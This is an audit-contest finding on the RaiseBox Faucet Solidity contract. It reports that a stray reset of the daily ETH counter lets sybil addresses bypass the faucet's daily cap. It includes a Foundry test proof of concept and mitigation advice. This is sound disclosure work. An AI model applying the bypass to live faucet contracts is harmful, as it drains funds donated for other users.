Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Impact: high
Likelihood: high

Daily ETH cap can be bypassed (`dailyDrips` reset bug)

Author Revealed upon completion

Description:
If the caller is not a first‑time claimer (i.e., hasClaimedEth[caller] == true) or drips are paused, the function executes else { dailyDrips = 0; }. This resets the daily ETH counter at any time, not only when the day rolls over. An attacker can:

  1. Use a first‑time address A to receive ETH;

  2. Call again with A to force dailyDrips = 0;

  3. Use a new first‑time address B to get more ETH, repeating to bypass the per‑day cap.

Impact:

  • Unlimited first‑time ETH payouts per calendar day (bounded only by contract ETH), violating dailySepEthCap.

  • Practical drain of donated/refilled ETH via sybil addresses with trivial orchestration.

Proof of Concept:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {Test, console2} from "../lib/lib/forge-std/src/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract RaiseBoxFaucetVulnerabilityTest is Test {
RaiseBoxFaucet public faucet;
address public owner;
address public user1;
address public user2;
address public user3;
address public user4;
function advanceBlockTime(uint256 duration_) internal {
vm.warp(duration_);
}
function setUp() public {
owner = makeAddr("owner");
user1 = makeAddr("user1");
user2 = makeAddr("user2");
user3 = makeAddr("user3");
user4 = makeAddr("user4");
vm.prank(owner);
faucet = new RaiseBoxFaucet(
"RaiseBoxToken",
"RBT",
1000 * 10**18, // 1000 tokens per claim
0.005 ether, // 0.005 ETH per first claim
0.01 ether // 0.01 ETH daily cap
);
vm.deal(address(faucet), 10 ether);
advanceBlockTime(3 days);
}
function test_DailyEthCapBypass() public {
vm.prank(user4);
faucet.claimFaucetTokens(); // user4 is now first-timer
// Move forward so user4 is OUT of cooldown, but we’ll do all actions in the SAME calendar day now
vm.warp(10 days);
// user1 first-time: +0.005
vm.prank(user1);
faucet.claimFaucetTokens();
// user2 first-time: +0.005 => cap reached (0.01)
vm.prank(user2);
faucet.claimFaucetTokens();
// At this moment dailyDrips == 0.01 (cap). Now user4 (NOT first-time, but out of cooldown) calls today:
// Due to the code's `else { dailyDrips = 0; }`, daily ETH counter is reset MID-DAY. (No ETH sent to user4)
vm.prank(user4);
faucet.claimFaucetTokens();
// Next first-timer (user3) can now receive ETH beyond the intended cap.
uint256 preUser3 = user3.balance;
vm.prank(user3);
faucet.claimFaucetTokens();
assertEq(user3.balance - preUser3, 0.005 ether, "Cap was bypassed: user3 still received ETH the same day");
}
}

Mitigation:

  • Remove else { dailyDrips = 0; }. Only reset dailyDrips when the day rolls (e.g., when currentDay > lastDripDay).

  • Consider anchoring daily resets to a consistent day boundary (e.g., currentDay = block.timestamp / 1 days).

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.